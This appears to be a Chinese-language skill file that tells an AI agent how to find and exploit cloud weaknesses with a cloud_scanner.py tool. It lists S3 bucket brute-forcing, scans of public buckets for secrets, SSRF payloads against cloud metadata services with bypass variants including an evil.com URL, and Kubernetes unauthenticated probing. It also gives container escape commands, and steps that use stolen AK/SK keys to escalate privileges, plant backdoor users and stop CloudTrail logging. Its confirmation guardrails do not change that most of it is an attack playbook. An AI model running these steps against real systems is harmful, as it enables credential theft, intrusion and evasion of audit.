| name | cloud-vuln-skill |
|---|---|
| description | 云安全漏洞挖掘与利用 Skill。S3 桶爆破枚举、公开桶敏感文件发现、 SSRF→IMDS 凭证窃取探测、K8s 未授权访问检测、容器逃逸条件识别、 AK/SK 凭证验证与权限枚举、存储桶供应链攻击利用。 |
云漏洞发现与利用
目的
发现云环境攻击面,验证漏洞可利用性。两个阶段:信息收集(无需凭证)→ 凭据利用(拿到 AK/SK 后)。
所有命令
| 命令 | 需要凭证 | 用途 |
|---|---|---|
brute-s3 | 否 | 爆破 S3 桶名 |
check-bucket | 否 | 检查单个桶公开读/写/列 |
scan-bucket | 否 | 扫描公开桶中敏感文件 |
probe-ssrf | 否 | 探测 SSRF→IMDS 凭证窃取 |
probe-k8s | 否 | 探测 K8s 未授权访问 |
container-escape | 否 | 检测容器逃逸条件 |
exploit-creds | 是 | AK/SK 验证+权限枚举+提权分析 |
Phase 1: 信息收集 — S3 桶名爆破
python scripts/cloud_scanner.py brute-s3 --keyword <公司名> [--threads 20] [--delay 0.1]
python scripts/cloud_scanner.py brute-s3 --keyword alibaba --format table
原理:关键词拼接 70+ 后缀(-prod/-dev/-backup/-terraform/-secrets/-keys 等),向 AWS 全球端点和各区域端点并发 HTTP HEAD。--delay 控制请求间隔,避免触发云端限流。
200 = 公开桶(可列目录),403 = 存在但非公开,404/DNS 解析失败 = 不存在。
已知桶名后进入下一步。
Phase 2: 信息收集 — 单桶公开状态检查
python scripts/cloud_scanner.py check-bucket --name <桶名> [--region us-east-1]
三项检测:
- 公开可列 — GET 桶根路径,200 且响应含
<Key>即为可列目录 - 公开可写 — PUT 测试文件,200 即为可写(测试后自动清理)
- 公开可读 — HEAD 常见文件名,200 即为可读
Phase 3: 信息收集 — 公开桶敏感文件扫描
python scripts/cloud_scanner.py scan-bucket --url https://<桶名>.s3.amazonaws.com
两级匹配:
第一级(文件名) — 不需下载,匹配 13 类敏感文件:
.env / terraform.tfstate / credentials / id_rsa / *.sql / *.dump / config.yml / secret.yaml / Dockerfile / .git/config / *.pem / *.zip / .bash_history
第二级(内容关键词) — 下载小于 1MB 的文件搜:
AKIA / ASIA / -----BEGIN RSA PRIVATE KEY----- / DB_PASSWORD= / AWS_ACCESS_KEY_ID= / connectionString / Bearer / Authorization: / CREATE TABLE
桶不可列时自动切换爆破模式,用内置 30 个常见文件名逐个探测。
Phase 4: 主动探测 — SSRF → IMDS 凭证窃取
python scripts/cloud_scanner.py probe-ssrf --target <URL> --param <参数名>
向目标 URL 的参数注入云元数据服务地址,检测响应中是否含云凭证关键词。
注入的 Payload:
| # | Payload | 目标 |
|---|---|---|
| 1 | http://169.254.169.254/latest/meta-data/ | AWS IMDSv1 |
| 2 | http://169.254.169.254/latest/meta-data/iam/security-credentials/ | AWS IAM Role 名 |
| 3 | http://169.254.169.254/metadata/instance?api-version=2021-02-01 + Header Metadata: true | Azure IMDS |
| 4 | http://metadata.google.internal/computeMetadata/v1/ + Header Metadata-Flavor: Google | GCP |
| 5 | http://100.100.100.200/latest/meta-data/ | 阿里云 |
| 6 | http://[::ffff:a9fe:a9fe]/latest/meta-data/ | AWS IPv6 映射绕过 |
绕过变体(手动测试时使用):
# URL 解析差异
http://169.254.169.254@evil.com/
http://2852039166/ # 十进制 IP
http://0xA9FEA9FE/ # 十六进制 IP
http://0177.0176.0251.0376/ # 八进制
# 重定向绕过
攻击者服务器 302 → http://169.254.169.254/latest/meta-data/
# DNS Rebinding
域名 TTL=0, 交替解析到 169.254.169.254 和攻击者 IP
# IMDSv2 Token 获取(部分 SSRF 库支持 PUT)
TOKEN=$(curl -X PUT http://169.254.169.254/latest/api/token \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
Phase 5: 主动探测 — K8s 未授权访问
python scripts/cloud_scanner.py probe-k8s --node <IP>
扫描 7 个高危端口,每个端口尝试请求关键 API 路径并判断是否需要认证:
| 端口 | 服务 | 探测路径 |
|---|---|---|
| 6443 | K8s API (TLS) | /api/v1/pods /api/v1/secrets /version |
| 8080 | K8s API (Plain) | 同上 |
| 10250 | Kubelet | /pods /runningpods/ |
| 10255 | Kubelet RO | /pods |
| 2379 | etcd | /version /v2/keys |
| 4194 | cAdvisor | /containers |
| 10256 | kube-proxy | /healthz |
Phase 6: 主动探测 — 容器逃逸条件
在获得的容器/Pod 内运行:
python scripts/cloud_scanner.py container-escape
11 项自动检测:
| 检测 | 危险度 | 逃逸方法 |
|---|---|---|
/var/run/docker.sock 挂载 | 🔴 CRITICAL | docker -H unix://... run -v /:/host alpine chroot /host |
| Privileged 模式 | 🔴 CRITICAL | nsenter --target 1 --mount --pid -- bash |
| CAP_SYS_ADMIN | 🔴 CRITICAL | cgroup release_agent 逃逸 |
| CAP_SYS_PTRACE | 🔴 CRITICAL | 宿主机进程注入 |
| hostPID | 🔴 CRITICAL | nsenter -t 1 |
| hostPath 挂载 | 🔴 CRITICAL | 直接读写宿主机文件 |
| K8s SA Token | 🟠 HIGH | 调 API Server 操作资源 |
| IMDS 可达 | 🟠 HIGH | 获取云 IAM 凭证 |
| Containerd Socket | 🟠 HIGH | ctr 命令控制容器 |
注意:container-escape 只检测逃逸条件,不会尝试实际逃逸。利用行为需经你确认后才执行。
Phase 7: 凭据利用 — AK/SK 验证与权限枚举
python scripts/cloud_scanner.py exploit-creds --ak <AccessKey> --sk <SecretKey> [--token <SessionToken>]
一条命令完成五步:
Step 1: 身份验证
sts:GetCallerIdentity → 返回 Account ID、ARN、用户类型
Step 2: IAM 信息收集
- 附加策略列表(含所在组的策略)
- Inline Policy 列表
- MFA 启用状态
- 所属 IAM 组
Step 3: 高危权限探测(23 个 API 采样)
| 类别 | 探测命令 | 危害 |
|---|---|---|
| 直接提权 | iam:CreatePolicyVersion | 造 Admin 策略 |
| 直接提权 | iam:AttachUserPolicy | 贴 Admin 策略 |
| 后门 | iam:CreateUser + iam:CreateAccessKey | 创建管理员后门 |
| EC2 | ec2:RunInstances | 创建后门实例 |
| Lambda | lambda:UpdateFunctionCode + lambda:InvokeFunction | 注入恶意代码 |
| S3 | s3:PutBucketPolicy | 修改桶策略 |
| 反取证 | cloudtrail:StopLogging | 停审计日志 |
Step 4: 提权路径分析
匹配 10 种危险权限组合,输出具体可执行的提权路径。
Step 5: S3 桶枚举
列出所有桶 → 检查 Block Public Access → 检查加密
重要:利用行为限制
权限探测阶段只做读操作(list/describe/get)。write 类权限仅报告"你有此权限"而不实际执行。实际利用(创建用户/修改策略/创建 EC2 等)必须经你确认后才执行。
漏洞发现方法论(人工辅助)
以下方法需要人工操作,AI 可指导但不能自动执行。
信息泄露发现
1. 服务组件报错泄露
- 对云服务 Web/API 输入非预期参数
- 观察报错信息中是否有内部 AK/SK、API 端点
- 关注:500 错误页、debug 输出、数据库错误
2. 非正式镜像泄露
- 购买云主机时抓包看镜像列表 API 返回
- 前端不展示的镜像(含 test/dev/internal/debug 字样)
- 用这些镜像创建实例 → 登录搜索
/etc/profile、~/.bash_history、/opt/
3. 部署文档/工具包泄露
- GitHub 搜索
"access_key_id"+ 云厂商名 - 下载云厂商官方 CLI/SDK 工具包 → 解压找
.env/config.yml - 关注官方文档示例代码中的测试凭据
4. 项目托管平台泄露
- GitHub:
filename:.env/filename:credentials+ 厂商关键词 - 关注测试用例、README、CI/CD 配置
5. 公开存储桶内容挖掘
- 不只看文件名,还要看文件内容
- 日志文件中的
Authorization:header - 备份 SQL 中的用户密码 hash
- CI/CD 产物中的构建参数
AK/SK 拿到后的人工验证
确认权限范围后(由 exploit-creds 完成),如需进一步利用:
- 有 IAM 写权限? → 创建后门用户
- 有 EC2 权限? → 找高权限 Instance Profile 的实例
- 有 S3 权限? → 枚举所有桶 + 读敏感文件
- 有 Lambda 权限? → 查看函数环境变量(含数据库密码)
- 跨账户? → 检查所有 Role 信任策略
上述操作执行前必须向我确认。
报告输出
所有命令默认 JSON 输出,部分支持表格和 Markdown:
python scripts/cloud_scanner.py brute-s3 --keyword test --format table
python scripts/cloud_scanner.py exploit-creds --ak ... --sk ... --output result.json
Guardrails
- 所有探测仅做被动信息收集,不修改目标资源
exploit-creds的写权限检测使用 DryRun / 假参数(不存在的资源名),不产生副作用- S3 可写测试在上传后立即删除测试文件
- SSRF 探测使用仅含元数据关键词的读请求
- 存储桶内容扫描仅下载文件头部(≤10KB)进行关键词匹配
- 实际利用操作必须先向用户确认
